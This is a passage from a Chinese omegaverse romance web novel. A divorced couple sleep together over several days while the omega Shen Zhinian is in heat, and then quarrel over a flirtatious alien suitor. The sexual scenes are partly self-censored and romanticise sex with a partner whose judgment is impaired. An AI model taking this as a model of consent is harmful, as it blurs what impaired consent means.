但是顾景深根本没有给沈之年准备的机会,径直走到沈之年的对面,“你不理我,就是和那个毛头小子打情骂俏?” 远远的,他听不清两个人说了什么,但是得益于极优ALpha超强的听力,还是听到了只言片语,什么炒,告白,哥哥疼我之类的。 不难猜到这里刚刚发生了什么。 那个满身心眼的臭小子仗着年轻欺骗或者说诱哄了他单纯温和美貌的前妻。 沈之年能有什么错,他就是太单纯,被保护的太好,才会对着这种坏小子也挥洒善意。 那个臭小子全责,顾景深马上就做出了判断。 沈之年听到顾景深的话,下意识的拿出光脑,果然,上面有一系列的未接通信,都是来自眼前的人。 “抱歉,刚才在忙,我没听到你的消息。”但是沈之年现在也不是很想面对顾景深,不知道为什么,今天见到顾景深的时候,那股热意又开始在脸上烧,烧的他好像逃避。 “那···那我就先走了······”不过刚刚才让顾景深帮了一个大忙,沈之年怎么也做不到冷脸相对。 “等一下!”很可惜,好不容易得到的,能和沈之年好好说话的机会,顾景深也不打算放过,“我以为今天我至少能够把得到一点奖励。” 顾景深保持在一个不远不近的距离,但是说出的话却是半点分寸也没有,“就算是狗狗在帮主人做成一件事之后也应该得到一块狗饼干。”顾景深说完,脸向沈之年面前凑了凑,沈之年能够看清楚他脸上的所有微表情。 也能看见,他的嘴巴轻轻开合了两次,但是一点气音也没发出。 不过他的口型还是被沈之年看的清清楚楚。 “汪汪······” 可能是两个人挨得太近,也可能是别的什么,真的好热······ 光脑不合时宜的突然响起, 沈之年,猛地后退一步,屏幕上明明白白的显示三个字——薛明亦 第68章 顾景深厌恶一样的后退半步。 沈之年脸上适时地露出了一点尴尬, 其实顾景深根本看不到光脑屏幕上面的字,但是看到沈之年的神色,他能猜到是谁。 他对薛明亦说不上厌恶, 但是他不想在这个时候看到这个名字,提醒他是一个可悲的第三者。 沈之年也对现在的情况感到头痛。 薛明亦不是一个爱闲聊的人,他现在负责沈之年的身体还在Omega协会帮忙,想必是有事情才会打电话过来。 沈之年不得不对着顾景深露出一个歉意的微笑, 然后走的远一点去接。 薛明亦说了一点最近的客人,还有两个人一起处理的事件当事人的现状······ 都是一些说重要不重要, 但是确实值得一个电话的消息, “你在那边还好么, 有什么难处理的事情么?” 好像是日常的寒暄,薛明亦关心了沈之年一句。 “还好。” “什么时候回来?” 利浦星的事已经基本解决,沈之年立刻就能返航,但是他还是下意识的回头看向自己来时的方向,“快解决了,还有一些后续要处理, 过两天回去,怎么了?” 电话那边停顿了一下,片刻后才传来他的声音,“在那边, 有遇到特别的人么?” 沈之年沉默了一下, “遇到了类人种族,卡桑族和艾尔达人,这还是我第一次见到艾尔达人,很有意思。” 虽然嘴上在说有意思,但是沈之年的声音很平静, 明显谈兴不高。 薛明亦今天貌似格外的不识趣,听到这样的语气,还是七七八八说些协会里的小事,迟迟不肯挂断。 ······ 等到电话挂断,都不知道过了多久, 沈之年本来以为顾景深一定已经走了,但是走回去却看到顾景深百无聊赖的坐在喷泉边,手指不知道在摆弄些什么。 他一走近,顾景深就把手里的东西递到沈之年的面前,是个口袋方巾叠成的漂亮小兔子,“送你。” 口袋巾折出来的兔子是没有什么神情,但是沈之年就是觉得他的脸上写着委屈。 “你在外面···他知道么?” 其实他在一开始看到围着沈之年的那个艾尔达人的时候,他心里其实是气愤的,不过在等待沈之年的这段时间,顾景深短暂的和自己达成了和解, 当时沈之年和他离婚之前,薛明亦就恬不知耻的勾引他美丽温柔的妻子,现在沈之年身边出现其他年轻人······ 也是薛明亦不够好! 沈之年低头看了一眼委屈小兔,吐出一口气,才说服自己不和顾景深计较,“还吃饭么?” 顾景深脸上几番风云变幻,最后才轻声说了一句,“吃······”—— 沈之年也没想到顾景深说的吃饭,是到他暂住的酒店做饭给他吃。 说不上为什么,进到自己的房间,一个普通的房间,一点也不浪漫, 沈之年看着那边在厨房忙碌的还是觉得如坐针毡。 沈之年能看到顾景深被西装裤裹住修长的双腿,和劲瘦的腰肢。 顾景深的身材很好,沈之年一向知道,他身上的肌肉有力而不夸张,薄薄的一层敷在身上······ 应该是有力的······ 沈之年的视线放肆的在顾景深的背上游走,宽窄合宜,脱掉那层薄薄的衣服之后又是怎样的风光······ 不对,在幻想里的顾景深即将脱进入正题之前,沈之年适时的停住了脑袋里面的那些黄色肥料。 他侧过头,看了一眼旁边的日历,还远远不到他发情期的日子。 虽然他和顾景深生活之后,两个人受对方的信息素影响,都变得不太准确。 但是现在不应该来······ 顾景深端上最后一个菜,坐到沈之年的身边,真是恍如隔世,如今再想要和沈之年一起吃饭,竟然也要用尽心机。 不等他多感慨,就看到沈之年的视线赤裸的在他身上游走······ 是今天穿的不够得体么? 沈之年的品味的确很好,之前他的衣服也都是沈之年搭配好,可难道他自己的搭配就这么不入眼? 顾景深强忍住低头看自己着装的欲望,抬起头去看沈之年,竟然从沈之年的眼神里窥见了几丝···欲望? 沈之年一向是温柔端庄美丽的,这还是第一次,顾景深见到沈之年露出这样的神情。 他的理智在争执,一方面他想相信自己的眼睛和判断,另一方面,他想相信自己的记忆和沈之年的人品······ “要坐来这边么?”这句话在两个人的关系里甚至算得上冒犯,理论上沈之年应该会冷着脸驱逐他, 但是沈之年没有, 他乖乖的起身坐到顾景深的身边,还轻轻抬眼去睨顾景深。 顾景深被看的呼吸一窒,不自然的侧过头不敢再去看沈之年。 他突然觉得口干,喉结微微滚动了一下,然后就感受到一只手悄悄的摸上了他的大腿······ 他的大腿???!!!! 顾景深低下头,缓了一下才意识到真的是沈之年的手。 可能是已经被发现了,沈之年更加肆无忌惮,直接拽开顾景深的衬衫,纤长的手顺着衬衫底摸到了顾景深滚热的肌肤。 “年年?”顾景深,没办法理解现在的情况,这样的场景只会出现在他在家中的幻想里······· 他现在在幻想里么? 沈之年听到顾景深的声音,也只是抬起头状若无知的抬头看顾景深,然后装作不明白其中的意思把自己整个塞进顾景深的怀里,他靠在顾景深的胸膛,微微垂着头,展示白皙的脖颈。 顾景深今天来之前注射了抑制剂,他明白沈之年对他的吸引力,所以味觉一直都不太灵敏,但是现在离得太近,沈之年的信息素已经能够能够冲破抑制剂的重重阻隔让给顾景深感受到······ 倒不如说,顾景深终于意识到,自己已经要被铺天盖地的信息素埋了。 Alpha的抑制剂本就不如Omega的有效,他的等级又太高。 “年年,你发情了?”顾景深努力控制住自己的理智。如果现在趁人之危,他和沈之年就算是彻底完了。 他把沈之年从怀里推出来,摆放好,像在摆弄一个大号的漂亮娃娃, 不过显然,娃娃不是很听话,他刚把沈之年扶正,沈之年就再次歪歪斜斜的靠在他的胸膛上,还伸出手圈住他的腰肢, 虽然没说什么,姿态却明显的很, 怎么也不肯起来。 沈之年发情期到了,他们之间的匹配度实在太高,分开的又久,沈之年现在应该以及完全被欲望控制住了,只是还剩下一些残存的理智还有剩余的尊严······ 不然应该不会这么温和,早就()求着他()了。 顾景深迟迟没有动静,沈之年早就等不及了,他胡乱的去解顾景深的衬衣,解不开也不多纠缠,两只手顺着衣服,然后发出了一声满意的喟叹。 “沈之年,你清醒一点,抑制剂在哪里?”顾景深想要故技重施,把怀里的美人撕开, 这次,显然沈之年早有防备,紧紧抱着顾景深的腰肢,不知道哪里来的力气,两只手还能见缝插针的往顾景深的衣服里面钻。 顾景深很少这样的无助,他只能狠狠拉紧自己衣服的下摆,阻挡这两只手,左支右绌,好狼狈······ 顾景深不合时宜的气笑了一下。 他还是对沈之年的了解不深,之前那么多的幻想,竟然也没敢想沈之年还有这样的色胆。 之前的抑制剂还在维持顾景深岌岌可危的里理智,她伸手去抓沈之年作乱的手,却被沈之年反手抓取,“你也要摸摸年年。” 顾景深有一刻迷醉了,他想顺着沈之年腰上蜿蜒的曲线就这样抚下去, 但是最后一刻他还是抽回了,捏住沈之年的脸颊,强迫对方看着自己,“抑制剂在哪里?” 沈之年的脸颊柔软,被用力一掐,嘴巴嘟起来,开开合合也说不清话,像小金鱼。 顾景深的眸色一暗,声音里带着几分暗哑,“年年,你醒来会后悔的。”沈之年的级别很高,不经过任何处理现在出门,无异于一个信息素炸弹,足以让一条街的Alpha跟着发情,立刻求医不是一个好选择 沈之年的身体软的像一匹纱,稍不留神就要流到地上去扒他的裤子(这只是一个夸张的比喻,沈之年没有真的扒),顾景深不敢大意,另一只手牢牢把他固定在怀里,沈之年混沌的脑子好像是听明白了顾景深的这段话, “不后悔·····”他拉着顾景深的手摁住柔软的小腹,“,我们生一个宝宝,和恩恩一样可爱,好不好?” 他不想要和恩恩一样的宝宝,顾景深下意识看向沈之年的脸,他想要和年年一样的,大眼睛,脸颊柔软,笑起来,不笑的时候像小王子,笑起来又乖又甜······ 不过是一瞬间,顾景深就回过神,沈之年已经和他离婚了,现在还有正在交往的爱人,再开口还带着一点委屈,“你根本爱我,也不想和我生一个baby,你只是在骗我······” 但是没想到沈之年听完之后,竟然把手从顾景深的衣服里抽出来,抚摸他的脸颊,“怎么会呢,我爱你。” 顾景深的理智疯狂鸣叫,他是骗子,他在骗你,但是沈之年的眼睛含着水,多情又柔软,顾景深太想相信他了 第69章 他的声音艰涩, “你说你爱我。” 沈之年郑重的点头,“对,我爱你, ”然后视线又迷蒙起来,“我怎么会不爱你,我们是天生一对,景深, 我天生就属于你。” 他应该坚决拒绝沈之年,等到沈之年清醒过来, 再问明白他的心意。 等到他们两心相许, 他们才能够进入下一个阶段······ 但是沈之年说他爱他······ “这世上我最爱你, 你上天赐给我的丈夫,没有你,世界好无聊。”沈之年一边说,一边小鸟一样去啄顾景深的嘴巴,希望自己乖巧地讨好能够换回这位心如磐石的男人的心。 “景深,景深, 老公,你亲亲我,好不好?” 沈之年说完之后就嘿嘿笑,“好帅啊, 老公。” “眼睛好看, 鼻子好看,嘴巴也好看,如果这么好看的嘴巴亲亲年年就好了······”然后不问自取的在顾景深的唇角啄吻,“老公有好好锻么?” “让我摸摸。” 顾景深还起了一点逗小孩的心思,“啊, 我只要我的妻子摸。” 沈之年表忠心一样立刻回答,“我就是,我就是你的妻子!” 沈之年的嘴巴没闲着,手也不老实,在他身上游弋,“我们第一次见面,我就已经爱你了,景深,我爱你爱的太久了。” “是你总来拒绝我,你现在还要离开我么?” 顾景深一时怔愣在原地,他的理智本就岌岌可危,趁着顾景深思索, 沈之年缓缓蹲下,他将柔软的侧脸轻轻的搭在顾景深的大腿跟, 刺啦,拉链的脆响将顾景深惊醒, 从顾景深的角度,只能看到沈之年纤细的腰肢和不算大但是意外饱满的()。 他的手在虚空中下意识的抓了一下, 沈之年就觉得脖子上一股巨力,扶着他的后脑几乎把他整个人都提起来,他的双手还伏在眼前人的大腿上,但是头已经被扶起来,高高的向上探,像一只引颈受戮的天鹅。 顾景深迫不及待地将唇压在沈之年的唇上,粗鲁的把舌头伸进他柔软的口腔。 他停下来,涎水在两个人之间拉出一条长长的银丝,沈之年的眼已经彻底陷入了迷蒙里,水淋淋的,他的面颊酡红,可怜可爱。 顾景深咬牙,“你别醒来之后不认账···去床上······” 只觉得一阵天旋地转,沈之年整个人都被扔进柔软的被褥里,不过一会,身上的热意就有了缓解。 但是他是个Omega,这样只会让他更觉得空虚。 沈之年胡乱的抓住顾景深的手就往身下带。 微凉的手掌一路向下。 “亲亲(实则不然)我。”沈之年深呼吸两下,他的视线早就模糊,但是也能看出顾景深现在还是穿的衣冠楚楚。这根本就不公平,他身上已经没有什么了。 顾景深捏住沈之年这张窜火的嘴,他也不好受,食指微微陷进那个柔软的地方,感受到指尖的湿润。 顾景深整个人的头脑都在发热。 “清醒之后我们去复婚。” “复婚,复婚,年年要永远和你在一起!” 沈之年也不肯饶过他,嘴里哼哼唧唧都是寻常绝对不肯说的话 。 顾景深没办法,塞住他的嘴巴,他现在一头热汗,显然已经忍耐到了极限, 沈之年已经被情欲折磨的失去理智,就算是顾景深把手伸过来,也只是下意识的乖巧的张开嘴巴,把修长的手指包裹进口腔里,顾景深一愣,重重的喘息一声,“有(不是)么···家里······” 怎么可能有,这只是沈之年临时的住所,除非沈之年现在已经进化到认识一两天的人都要拉到床上。 他们的匹配度太高,沈之年又在发情期,身体已经为受孕做足了准备,如果不做措施贸然开始,他们一定会得到一个宝宝。 也许有一个宝宝,沈之年就会回到他身边,这个念头从顾景深的脑袋里一闪而过,就又消失了,空出一只手去点光脑。 还好,十分种左右就能送到,只是会丢脸。 察觉到顾景深要抽身离开,沈之年更加卖力······ “别招我······”顾景深把沈之年揽在怀里,帮他缓解症状,“我们的匹配度太高,现在发生······有了孩子你就只能跟我在一起了。” “我们为什么不能永远在一起,我要和你在一起。”沈之年现在神智显然已经完全不清楚了,回答完顾景深的这一句之后,就来来回回的说些什么,爱他,要生宝宝,间杂一些乱七八糟的浑话。 原来十分钟这么久。 从机器人手里拿到救命的东西时,顾景深竟然有一种如释重负的感觉, 他拍拍怀里的人,“回床上,跪好,(哈哈,删了点)。” 沈之年迟钝的反映了一下,不能理解刚才还贞洁烈妇一样怎么都不肯就范的Alpha怎么现在突然变了一个态度,但是现在很好,这正是他想要的,他缓缓的爬到床上,又乖巧的跪好,将脸埋进那件柔软的被褥里—— 等到顾景深再回复理智的时候已经是三天以后了。 他不知道怎么形容当时的状态,他应该是存有理智的,他记得他每一个被感性打败,选择继续这场漫长湿热X事的决策过程。 中间他还去给沈之年热过几次营养液体,换过两三次床单。 但是也忽略他抖得不成样子,强硬的继续,这个房间到处都是他们胡乱的痕迹,顾景深紧了紧牙关,他之前一直标榜自己是一位绅士。 除了并没能好好的经营好婚姻,让他可爱的妻子对他失望之外,他对自己的人格品行一向高度认同。 沈之年还在一边沉沉的睡,阳光透过窗帘打在他的脸颊上,能看到软软等我小绒毛,漂亮极了。 但是顾景深觉得眼前的美人像小狗,被逼急了也只能小狗一样呜呜的回应。 昨晚上睡着之前,他已经给两个人都清理过了,但是两个人抱在一起睡了一晚,又都不肯撒手,主要是顾景深牢牢的沈之年锁在怀里,又出了一身热汗,顾景深站起身打算去给两个人都清洗一下,但是没想到,轻轻一动,怀里的沈之年也睁开了眼睛。 他的眼睛里还带着点迷茫,坐起身之后轻轻的眨了两下才认识到自己的处境,回到了清明的状态。 顾景深呼吸几乎要停滞了,但是他不想要一直等待沈之年的宣判,所以选择了率先开口,“你还记得自己说过什么么?” 如果现在回去就复婚的话,就要快点定下蜜月的地方了,之前沈之年说过喜欢怀尔曼星,现在过去正当季,再晚一点就要明年了。 婚礼尽量不要选在上次的场地,用古蓝星东方的话说,不太吉利······ 顾景深心里把一切都安排好,抬起头看到沈之年一脸为难, “我们回去就复婚······” “这次的事情你就当没发生······” 沈之年当然记得一切,他还记得为了把顾景深骗上床到底说了多少的甜言蜜语······ 该死的发情期,把他的理智,信念,那些美好的品质全都吞噬了。 “你要始乱终弃?”顾景深一边说,一边缓缓地拉起薄被捂住胸口,上面还有沈之年留下的牙印,“你说了你爱我,你说我们天生一对,我才······” 他好像很沮丧,这个念头突然就出现在沈之年的脑海里,不是两个字都要呼之欲出。 “你知道的,那时候我发情了,为了能够解决这些痛苦什么话都说的出来,你是个Alpha,也不算吃亏······” 顾景深气结,“Alpha的身体就不是身体,就能随便取用么?” 沈之年语塞,“对不起,你要什么补偿,我尽量满足你。”沈之年也没想到自己有一天能够说出这种话,像个渣A。 说完之后看到顾景深的嘴巴动了动,沈之年又补充了一句,“除了结婚,抱歉,我没有和你结婚的想法。” “是因为那个姓薛的么?”其实这不是顾景深突然想到的,不如说,这是他在开始这件事的时候就在担心的,现在只是说出来。 其实他和薛明亦之间没什么,但是沈之年一时之间也想不到更好的理由,微微点头权当是默认。 顾景深下床捡衣服的样子有一点狼狈。 至少是沈之年见过最狼狈的一次, 他沉默着穿好衣服,把系在沈之年手腕的领带取走,他凑得很近,呼吸打在沈之年的手腕上,沈之年的手指无力的屈伸了几下,昨天的回忆不合时宜翻涌上来,但是顾景深没有多做什么,甚至没有多看他一眼就重新起身离开了。 沈之年想要叫住他,但是叫住他,又能说什么呢,最后什么也没说。 顾景深离开的时候把门甩得震天响,沈之年的心里不太安稳,没忍住还是起身去看了一眼,发现顾景深走的时候还顺便把门口的垃圾也带走了。 第70章 利浦星很多地方也都有家居机器人, 但是功能不像首都星那么完备, 况且沈之年也只是短住,机器人的功能大多需要自己设置, 沈之年觉得麻烦,就没有开启太多的功能。 沈之年现在心里有一点乱,没心情做饭,幸好家居机器人还有这个基础功能。 机器人做的饭说不上多么好吃, 但是恰好沈之年现在也能算得上是难以下咽。 他点出光脑,在屏幕的联系人里点来点去, 最后也没能联系任何人, 不知道能和谁说这件事······ 光脑不合时宜的响了一下, 竟然是顾景深,是一条讯息,告诉他,措施已经做过,不用再吃药。 算是为沈之年做了选择。 随着出生率的一路走低,by药的研发就停止不前很久了。 虽然现在科技无比发达, 但是吃那个东西对身体的伤害还是很大。 沈之年现在脑子有点乱,他怎么定义和顾景深的关系? 他第一次有点遗憾自己竟然还保留有记忆,要是没有记忆,那就干脆不认好了, 任是顾景深怎么说, 权当这件事不存在。 但是他偏偏记得,全都记得······ 沈之年想的出神,手上还在收拾床褥。 这个房间里面每一个地方他们都尝试过,到处都是□□,机器人只能做一些简单的清洁。 况且就算是机器人没有意识, 沈之年想起那一切也无法假手于人。 仅仅想到可能有残留,沈之年就觉得羞耻,利浦星的空气精华装置不是完全静音的,呼呼作响的时候好像在提醒沈之年究竟在这个房间做了些什么。 所有的床上用品都一概不能用了,统统都扔掉买新的。 沈之年刚把房间整理出个大概, 恰好这时候门铃响了。 打开门,还没见到人,一束红玫瑰就先充满了沈之年的视线。 玫瑰后面是一张笑脸,“哥哥,我来啦。” 米拉根本不等沈之年让,就自顾自的走进门,“这几天哥哥都不理我,我给你发了好多消息,打了好多电话。” 米拉一边说,一边在这个房间里闲逛,虽然沈之年知道他没有窥探什么的意图,但是米拉左摸摸右转转还是让沈之年担心他看到什么不应该看到的。 毕竟他的发情期来的又凶又急,这些地方······ 他干脆拦住米拉,把他拉到沙发边, “你先坐。” 米拉不是第一次来到沈之年的房间,只是他总觉得沈之年住过的房间是不一样的,更温暖,更美丽,更吸引人。 之前沈之年以为他是女孩的时候,两个人共事,沈之年不止一次的邀请对方过来做客,而且这是米拉为他定下的房间。 很显然米拉更加熟悉,他自顾自的找到花瓶,将带来的红玫瑰插在瓶子里。 米拉今天穿了一条暖白色的帝政裙,淡金色的长发柔软的绑在一起垂在侧边,天使一样,更像漂亮的女孩了。 沈之年见到这个样子,心就先软下来一半,他对女孩,对Omega总是格外的宽容。 沈之年侧过脸就能看到那束娇艳欲滴的红玫瑰,他还不知道怎么面对眼前少年人的爱情,“虽然我们希望Omega能够摆脱信息素的影响,但是真抱歉,米拉,我是需要信息素的。” “我们只能在两性关系中寻求一种平等以及平衡,但是目前我们还没找到能够物理意义上彻底摆脱信息素的方法。” 米拉自然的侧过头,“没关系啊,你可以再找一个Alpha共同生活,我不介意的。” “我怎么能够占有您呢。” 没个字沈之年都能听懂,连载一起给这位性格上稍微有一些传统的Omega一个极大的心理冲击······ 米拉趁着沈之年理解这段话,小心的往沈之年那边侧了侧,“我只是想要短暂的陪伴在您的身边,不行么?” 他的眼睛眨了又眨, 真是个漂亮的孩子,眼睛也亮亮的。 米拉缓缓的凑近沈之年, “你们在干什么!!” 听到这声怒吼,沈之年猛地后退,避开米拉,其实本来他也是要拒绝的,只是心里还在反应那句话,动作相对迟缓······ “你怎么进来的?” 顾景深好不容易做好了自己的思想工作,接受沈之年提起裤子就不认人的事实,他本打算回来好好和沈之年谈谈,至少得到沈之年的愧疚。 他是商人,总要为自己留下一点后路。 没想到沈之年给了他一个大惊喜。 如果不是他回来的及时,沈之年就要和别人亲起来了!现在还问他怎么进来的! 现在沈之年本应该冷着脸把他赶出去,告诉他我的事情和你没关系, 但是他刚刚始乱终弃完顾景深,现在也实在是没有底气,千言万语,最后也只能化成一句,“你怎么进来的。” 说到这里顾景深好像就更生气了,“你问我怎么进来的,你们连门都没关,就这么迫不及待么?” “你对得起我么!”顾景深真的生气,从沈之年的角度来看,他甚至像是之前Omega协会处理过无数次的被抛弃的Omega,“你之前和我说了什么都忘记了么?你说你爱我,你说我们天生一对,你说我好看。” “这些都是骗我的么,你也和他说了么?” 他能回忆起发情期那几天的沈之年,那么乖巧,柔软,缠人。 方才他们也是这样的么,所以连门都来不及关。 顾景深侧过脸去,看到了桌上的红玫瑰,和旁边还没来得及扔掉的鲜花包装纸,又看看自己怀里的红玫瑰, 那束和他带过来的几乎一模一样! 已经说不上是羞耻还是恼怒了。 “沈之年,你就这么朝秦暮楚?” “景深,你先坐下。”顾景深到底是一个高阶Alpha,站在那里那么大一只,就算是说话的内容像是一个怨妇,也有无形的压迫感。 而且他们的身体刚刚分开,标记都还是新的,顾景深情绪激动的时候信息素溢出,不可抑制的牵动沈之年的信息素,沈之年的心绪也跟着乱乱的。 “我们之间的事情,真的对不起······”沈之年小声的回应,他想一会和顾景深说这件事,但是顾景深根本没给他机会,质问就如同连珠炮一样砸过来。 “那薛明亦呢,你对的起他么?”顾景深说完,冷笑一声,对着米拉,“这个小孩知道你有正牌的爱人,还有一个牵扯不清刚刚上过床的前夫么?” “他自己知道他是小四么?” 沈之年觉得头有点大,现在的情况很乱,很难处理,他没办法和米拉解释现在这个是刚从他床上下来的前夫,不知道要不要和顾景深解释,他和米拉真的没什么。 薛明亦的部分他根本没心情去思考。 但是没想到米拉竟然先一步替他做出了回答,“你吼什么,小沈先生这样的美人多几个情人怎么了!我是自愿的!” “小四怎么了!”米拉说完又顿了一下,“哥哥喜欢的话,就是最好的,什么小四小五,你们人类才这么狭隘!” “你这样的 ,别说小四,小八都轮不到你!” “你们这些自大的Alpha,没品位的东西!” 其实虽然不太符合米拉纤长秀美的审美,但是顾景深长得很好看,本来米拉是不愿意对他恶语相向的,可是米拉也不能接受有人对他的“阿芙洛狄忒”不尊重。 米拉说着,修长的一只人就顺势钻进了沈之年的怀里,“哥哥,原来您已经有了爱人,但是没关系,我不介意的,我们一直认为婚姻是一种落后的形式,只会捆绑住您这样美丽而自由的灵魂。” “艾尔达人不在意这样,艾尔达人只想陪伴在爱人的身边。” 米拉说着,单膝跪在地上,拉过沈之年的一只手,用额头抵住,如同和女神祈祷一样,“我是自愿跟随您的。” 光线洒在米拉浅金色的发丝上,显得美丽而神圣。 沈之年呆愣在原地,嘴巴张张合合最后没说出一句话。 顾景深冷笑一声,把带回来的花扔在一边,从牙关里挤出一句,“那我祝你们三个幸福!” 等沈之年反应过来的时候,等待他的又是只有顾景深离家的摔门声。 duang大的一声,吵人极了,米拉不耐的揉揉尖耳朵,艾尔达人的感官更灵敏,这一下听在他耳朵里无异于爆炸,“好大的脾气,吵死了,我就说你们人类很奇怪吧!” “能够和您这样的美人见面,甚至相伴一段时间,他竟然也不知道感恩!”—— 送走米拉的时候,已经不早了,沈之年无意在这个遥远的星球寻求一场艳遇,但是米拉实在是个漂亮可爱会撒娇的小精灵,把他开开心心等到哄走废了沈之年不少的心力。 短短一天,这个房间里发生的一切实在是太过复杂,甚至在沈之年把米拉送走之后,看着不算大的房间,竟然觉得有一点冷清。 今天这究竟都是什么鬼热闹。 沈之年环顾一圈,还是打算明天快点回去,逃避虽然可耻,但是有用,这也是没有办法的事情,他实在是没办法同时应付一个上过床的前夫和一个美貌可爱热情的直球小精灵。 分开之后米拉的热情估计就都消退了,顾景深,先避开不见一段时间吧,他们两个都应该冷静冷静,Alpha又被被从小规训,应该没那么在意这些吧······ 这个时候,门外又响起来门铃声,是顾景深······ 上次来拿的花已经不见了,发丝上坠着点露水,本来得体的衣裳也有些皱,气喘吁吁的。 “你怎么回来了?”沈之年有点惊讶,他以为今天这样的屈辱对于顾景深这样心高气傲的Alpha是无法接受的。 顾景深的牙关紧了又紧,说出这句话应该让他觉得羞耻,他把脸侧到一边,声音小的,要沈之年仔细去听才能听懂,“我再不来,你找到小五都轮不上我。” 有点可爱,不合时宜的,沈之年没忍住笑了一声。 这一声把顾景深耳朵熏得通红,最后化成一小声,“做情人我也可以,你别选那个艾尔达人。” “如果你实在想试试,那会首都星就断了吧。”顾景深嗫嚅了几下,才把那句,“就留下我一个情人行么?”说出口。《 》 70-80 第71章 “抱歉, 我们大约多久能到首都星?”沈之年叫住旁边的侍者。 “大约一天之后。”侍者垂下头,声音轻柔,他一早就看到了这位不可多得的美人。 舷窗外, 星芒被拉成七彩光丝,如流萤飞逝。远方星云缓缓旋转,在墨黑绒布上晕染出瑰丽的漩涡。 真美啊。 自从星际发明虫洞技术,能够达成星球间的快速跃迁, 沈之年已经很久没有选择这种长途的星舰路途了。 也很久没能好好欣赏一下星际路途的美景。 沈之年第二天是趁早走的,为了选择最早的一班离开利浦星, 他连快速跃迁列车都有没选, 逃避可耻但是有用。 坐在星舰上, 看到无数的星球变大在变小,他在离开利浦星的事实让沈之年的心里有一种诡异的踏实感。 终于离开了那一团鬼热闹。 他真是没办法了。 为了早点离开,沈之年甚至没有选择贵宾专座。 身边的位置空了又空,终于一个熟悉的气味坐到了沈之年的身边。 “年年,好巧。” 看着这张熟悉的脸,沈之年确实是有一些绝望了, 巧不巧只有他们两个人心知肚明。 “好巧。”沈之年好怕顾景深再说什么情人之类的话,说完这句之后就赶紧转移了视线。 但是顾景深没说,只是安静的坐在沈之年的身边。 沈之年为了早点离开起的很早,或者说从发情期结束他就没能好好的休息, 现在顾景深坐在身边, 不经意间露出一点安抚的信息素,很快沈之年就开始昏昏欲睡。 ······ 等到再次醒来,是顾景深在给他盖毯子。 “你醒了,你睡了很久,快到了。”顾景深把毯子掖好, 冷不丁的突然开口问,“你应该没把我放进黑名单吧?” 沈之年沉默,沈之年当然放了······ “放出来。”顾景深一看沈之年的面色就能猜到,“年年,你不认账的也太快了。”顾景深完全不觉得意外······ “你至少要为我被始乱终弃之后受伤的心灵负责。”顾景深直视沈之年的眼睛,“你知道的,现在只有守A德的处A才有市场,我现在已经你玩弄过了,是一个个残花败柳,没人要了。” 现在和顾景深争论两个人到底是谁玩弄了谁,显然不是一个很理智的选择,但是沈之年还是忍不住反驳一句,“你就算是浪荡人生到处花花也不会没人要。” “就算是有人要我,那些人,他们连不守A德的Alpha都要,能是什么好人!” 沈之年说不过他,沈之年闭上嘴巴—— 星舰舷梯带来的轻微眩晕感还没完全消散,首都星的空气湿热,黏糊糊地贴在皮肤上。沈之年和顾景深一前一后走出来,汇入抵达大厅熙攘的人流。 长时间的飞行让人疲惫,沈之年懒得说话,只想快点回到住处,顾景深倒是饶有兴致亦步亦趋的跟着沈之年。 还没走到出口,前方一阵异常的喧闹便撕破机场惯有的、匆忙而克制的氛围。 像一锅滚油里溅进了冷水。人群围成一个不规则的半圆,堵塞了部分通道。斥骂声、哭喊声、七嘴八舌的劝解声混杂在一起,格外刺耳。 “好像有人在吵架。”顾景深皱了皱眉,下意识地侧身,想用自己的肩膀为沈之年隔开一点空间,“绕过去?” 沈之年点点头,他向来不爱凑这种热闹。 目光随意地掠过人群缝隙,瞥见里面的情形:一个穿着灰扑扑夹克的男人,正死死拽着一个年轻女孩的胳膊,他几乎是半跪在地上,声音带着哭腔,一遍遍重复:“跟我回去吧!老婆!我错了!我再也不喝酒了!孩子还在等你呢!” 旁边的一个小孩现在被这个混乱的氛围吓到了,在不停哇哇的哭泣。 那女孩低着头,长发散乱地遮住了大半张脸,身体剧烈地颤抖着,像是在哭泣,又像是在极力挣扎。她身上那件不合时宜的厚外套,更让她显得单薄无助。 “大妹子,看在孩子面上,回去吧!” “两口子吵架,哪有过不去的坎儿?” “这大庭广众的,多不好看……” 周围不明就里的旅客们,你一言我一语地劝着,语气里充满了同情,当然是同情那个“痛改前非”的“丈夫”。这场景太典型了,典型到几乎成了某种社会新闻的模板,激发出人们心底对“劝和不劝离”的朴素认同。 沈之年收回目光,心里一丝微弱的异样感像水底的浮漂,轻轻动了一下,但很快被周遭的嘈杂压了下去。他拉了拉顾景深的衣袖:“走吧,没什么好看的。” 有一个孩子在一边不停的哭泣,那个女人,不知道是Omega还是Beta,一定会跟着回家的。 母亲总是牵挂孩子。 这样的事情很常见,Omega协会也管不了。 两人挤出人群,朝着行李提取处的方向走了十几米。 机场广播用一种甜腻而无起伏的腔调播报着航班信息。空气里弥漫着消毒水和无数种香水混合的味道。 突然,沈之年的脚步顿住了。 刚才那一瞥的画面,不受控制地在他脑海里回放,今天的天气湿热,为什么那个女孩会穿一件不合时宜的棉袄呢? “刚才那个女孩穿的是棉服么?好像不太合身。”沈之年突兀的发问。 “不太合身。” 得到顾景深肯定的回答,刚才的记忆久越加的清晰,沈之年的记忆力一向很好。 那个女孩被拽住的胳膊,裸露的手腕上,似乎有一小片醒目的红色痕迹,像是……抓痕?还是……?更重要的是,在她被男人强行拉扯着抬起脸的瞬间,那惊惶失措的侧脸轮廓,散乱发丝间一闪而过的眼睛…… 心脏猛地一缩。 那张脸…… 好熟悉······ Omega协会是少见愿意为平民未婚Omega提供岗位的官方组织,里面人员其实算得上驳杂,但是大多都是未婚,现在的社会还是喜欢让已婚Omega回归家庭做全职太太,拜这个观念所赐,Omega协会的人员流动很快,很多沈之年也没见过。 但是上个月帮林之白送文件的时候,路过一个办公室,里面在办升值的庆祝仪式。 办公室里快乐的氛围太感染人,沈之年停下来看了一小会。 那个女孩,分明就是眼前的“妻子”! 一旦产生这样的想法,记忆里面的两个人长相就越发的相似······ 寒意瞬间从脚底窜上头顶,炸得沈之年头皮发麻。 这不是家庭矛盾!这是一场精心策划的、利用公众同情心的、光天化日之下的绑架! “景深!”他猛地转身拽过顾景深的手臂,声音因极度的震惊和紧张而绷紧,“那个女的我认识!她是Omega协会的工作人员,应该没有结婚。” 顾景深被她突如其来的动作和话语弄得一怔,但他反应极快,眼神瞬间锐利起来,立刻理解了沈之年话里的含义。他没有任何质疑,只是反手紧紧握住林晚冰凉的手,沉声问:“确定?” 